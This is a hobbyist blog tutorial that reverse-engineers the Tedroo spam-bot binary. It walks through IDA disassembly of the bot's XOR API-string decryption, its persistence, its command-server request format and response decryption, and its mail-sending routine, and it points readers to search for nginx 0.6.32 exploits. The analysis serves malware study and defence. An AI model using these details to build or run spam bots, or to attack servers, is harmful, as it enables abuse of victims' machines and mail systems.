Tedroo Spambot Analysis


This is a tutorial analyzing the Tedroo spam bot. The MD5 for the binary is 37d0738dec3c65e416aec49e36db81b4. I’ve taken the binaries off the blog but send me an email ( brad _at_ reverseco (d0t) de ) if you’d like the binaries and want to dive in yourself. Thanks Greg Newman for providing this piece of malware. I’m going to try to keep this brief as possible and hit on only the high points of what this program does. It’s a spam worm that has been picked up/identified by some of the popular AV engines via VirusTotal.  This is the total from the packed exe.

Crazy enough the VirusTotal for the dumped binary has LESS of a detection prominence in the Anti-Virus community.  Not sure why that is?!?

As you can see this thing goes by a few different names. Well we can fire up IDA and load up the dump that was garnered from the original executable here.  The packer isn’t identified with PEid but it was easy enough to find the OEP and use Ollydump to make a valid file.

After some static/dynamic analysis the dropper does a few things. The dropper specifies the download server to connect out to as well as a decryption routine to decrypt the api’s that are included in the binary. The algorithm for the encrypted api’s is pretty easy to reverse and it’s pseudocode is [encrypted_address+counter] XOR [0x54 + counter]. Here is a sample of one of the routines. Later on it hides the calling conventions to these API’s to make static analysis more difficult.

.text:00403728 decrypt_api_ntohs: ; CODE XREF: start+224j
.text:00403728 mov dl, al
.text:0040372A add dl, 54h
.text:0040372D xor byte_405590[eax], dl
.text:00403733 inc eax
.text:00403734 cmp eax, 6
.text:00403737 jb short decrypt_api_ntohs
.text:00403739 xor eax, eax

This routine will decrypt the strings for the API’s that it wishes to load. It utilizes these later by pushing the decrypted api string onto the stack then calling GetProcAddress to let the program know where it’s located in memory for future reference.

.text:00403945 push offset byte_40555C ; lpProcName
.text:0040394A push dword_4059A0 ; hModule
.text:00403950 mov dword_405988, eax
.text:00403955 call esi ; GetProcAddress

After decrypting and loading libraries that will be utilized the dropper tries to throw us off the trail by calling the Sleep API for 10 minutes.  Feel free to modify this to 0 or go grab a cup of coffee!

.text:00403A85 push 927C0h ; dwMilliseconds
.text:00403A8A call esi ; Sleep ; wait 10 minutes

Next up drop file routine is called and it copies itself to userini.exe in the system32 directory. This is an exact copy of the dump file that is included in the archive above.  Two threads are then created that do the spam list requesting and other things that we’ll explore now.

.text:00403A91 push edi
.text:00403A92 push edi
.text:00403A93 push edi
.text:00403A94 push offset Thread1
.text:00403A99 push edi
.text:00403A9A push edi
.text:00403A9B call CreateThread ; createthread
.text:00403AA1 push edi
.text:00403AA2 push edi
.text:00403AA3 push edi
.text:00403AA4 push offset Thread2
.text:00403AA9 push edi
.text:00403AAA push edi
.text:00403AAB mov dword_405964, eax ; result from CreateThread
.text:00403AB0 call CreateThread
.text:00403AB6 mov dword_4059DC, eax ; Result from CreateThread

One thread is relegated to making sure our registry keys are made to startup and the other thread gets some encrypted xml from the spam server.  Most notable registry locations that have been plucked from the subroutine @ 401CB4 are….


There are additional registry strings that are in the file but are not currently used. The others attempt to modify firewall settings to make sure the malware has an open line to the internet. The next step is to report to the spam server and do it’s bidding. The second thread in the program forms a http GET request that has a similar structure to this url http://%5BSPAM_SERVER_IP%5D/source/zxhttr.php?id=%5BWINDOWS_REGID%5D&tick=%5BUPTIME_DATA%5D&ver=%5BWSOCKVER%5D&smtp=ok&task=3″.  Once the response is read into the buffer this is our encrypted xml string that contains who to spam, what to spam them with. This information can change and it looks like the program has a capability to update itself if the botmasters decide to serve up something else. Here is the routine where the string is formatted before it hits the wire.

.text:0040321B Format_String_Wire: ; “202”
.text:0040321B push offset a202
.text:00403220 call atoi
.text:00403225 pop ecx
.text:00403226 push dword_405A0C
.text:0040322C push offset aOk ; “ok”
.text:00403231 push eax
.text:00403232 call dword_405694
.text:00403238 mov ebx, ds:sprintf
.text:0040323E push eax
.text:0040323F push offset Dest
.text:00403244 push offset aSourceZxhttr_p ; “/source/zxhttr.php
.text:00403249 lea eax, [ebp+Dest]
.text:0040324F push offset aS?idSTickDVerD ; “%s?id=%s&tick=%d&ver=%d&smtp=%s&task=%d”…
.text:00403254 push eax ; Dest
.text:00403255 call ebx ; sprintf

Now if you notice there’s a few variables that get passed back to the spam server. ID is our unique windows id from the regkey “id” @ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer. Tick is derived from GetTickCount API which reports back how long it’s been since we’ve booted up so this returns uptime data to the spammers. Version is hardcoded in the program but appears to request version 2.02 of windows sockets. Task is an internal notation to the spam server to flag “3” as sending out spam activity.

*If you also notice this particular server is running Server: nginx/0.6.32.  This was fished out of the http response.  Notice there are numerous exploits for this server and how it was probably compromised into a spam press!  Use the following search string to track some down (nginx + “security advisory” + “0.6.32”).  Of course you can modify this to find POC’s or whatnot .

Next we’re going to dive into the decryption routine for the http response as well as utilize some code to do this for us.

.text:00401874 Decrypt_HTTP_Stream: ; CODE XREF: sub_40184E+5Fj
.text:00401874 push [ebp+var_8]
.text:00401877 lea eax, [ebp+var_1]
.text:0040187A call sub_401223
.text:0040187F mov al, byte ptr Dest[edi]
.text:00401885 add al, 20h
.text:00401887 xor al, [ebp+var_1]
.text:0040188A inc edi
.text:0040188B mov [esi+ebx], al
.text:0040188E mov eax, offset Dest
.text:00401893 lea ecx, [eax+1]

I’m going to use python here btw.  Python to construct the http responses as it’s very quick/easy to utilize urllib2 to construct this data and save it.  Here is the source. The decryption algorithm works like this. The original stream thats taken take the 2 bytes and produce a hex representation of them. “68” would be 0x68. Take this and XOR this with the ID from HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\id + 0x20. So if the first character from your id is “4” it’d be 0x34 + 0x20 = 0x54. 0x54 XOR 0x68 gives us 0x3C which is “<” or the first character of an xml formatted tag.  Here is an example of a decrypted portion from the server.


This is how the response looks after decryption and directs the program flow throughout the bot. The python script should clear up any questions you may have. This could change as the botmasters could serve up a different program. The flags to look for those routines are run and update. I’m thinking about coding up a php emulator to do just this for analysis or if anyone wants to volunteer that for additional study it’d be great🙂

After our stream is processed in the program begins formatting email messages to send out over the wire. Processing occurs like this.

.text:00401E1C push ebp
.text:00401E1D mov ebp, esp
.text:00401E1F sub esp, 258h
.text:00401E25 push ebx
.text:00401E26 push esi
.text:00401E27 push edi
.text:00401E28 mov esi, offset aHostname ; “hostname=”
.text:00401E2D lea edi, [ebp+var_48]
.text:00401E30 movsd
.text:00401E31 movsd
.text:00401E32 movsw
.text:00401E34 mov esi, offset aStyle ; “style=”
.text:00401E39 lea edi, [ebp+var_30]
.text:00401E3C movsd
.text:00401E3D movsw
.text:00401E3F movsb
.text:00401E40 mov eax, ds:dword_4042C8
.text:00401E45 mov esi, offset aEmails ; “<emails>”
.text:00401E4A lea edi, [ebp+var_3C]
.text:00401E4D movsd
.text:00401E4E movsd
.text:00401E4F movsb
.text:00401E50 mov esi, offset aInfo ; “<info>”
.text:00401E55 lea edi, [ebp+SubStr]
.text:00401E58 movsd
.text:00401E59 movsw
.text:00401E5B movsb
.text:00401E5C mov esi, offset aText ; “<text>”
.text:00401E61 lea edi, [ebp+var_1C]
.text:00401E64 mov [ebp+var_28], eax
.text:00401E67 mov eax, ds:dword_4042CC

Most notably these functions calls are around 402bd4 and it Create’s a seperate thread for each email message being sent. The email send routine is @ 4022BE. This basically queries the DNS of the spamee’s domain to see what mail server it resolves too.

<span style=”color:#c0c0c0″>.text:004022BE ; —————————————————————————
.text:004022BE Email_Send: ; CODE XREF: sub_402263+4Fj
.text:004022BE push esi ; Size
.text:004022BF push ebx ; Val
.text:004022C0 push ebp ; Dst
.text:004022C1 call memset
.text:004022C6 add esp, 0Ch
.text:004022C9 push ebx
.text:004022CA lea eax, [esp+1Ch+var_4]
.text:004022CE push eax
.text:004022CF push ebx
.text:004022D0 push ebx
.text:004022D1 push 0Fh
.text:004022D3 push [esp+2Ch+Email_Domain]
.text:004022D7 call dnsapi_DnsQueryA
.text:004022DD test eax, eax
.text:004022DF jnz loc_402681
.text:004022E5 mov ecx, [esp+18h+var_4]
.text:004022E9 call Get_MailServer
.text:004022EE mov edi, eax ; return mailserver of said domain
.text:004022F0 cmp edi, ebx
.text:004022F2 jz loc_40265C
.text:004022F8 push edi
.text:004022F9 push offset aConnectingS___ ; “Connecting %s …\r\n”
.text:004022FE push ebp ; Dest
.text:004022FF call ds:sprintf

Then it builds the packet to send and sends out the mail request using to/from as the same person and it sends out some viagra spam to that mail domain. Here is the following html that it sends out.


Click here!


Please don’t follow the links as it could be later modified to have some form of drive by downloading

Most namely are update/run.  So it looks like this server could switch over and begin hosting more malicious binaries that may install a rootkit or a more advanced spambot!  I hope you enjoyed this tear-down and feel free to leave feedback in the comments section.

*PS Large cash donation and firstborn children can be sent to my email as I’m a hobbyist!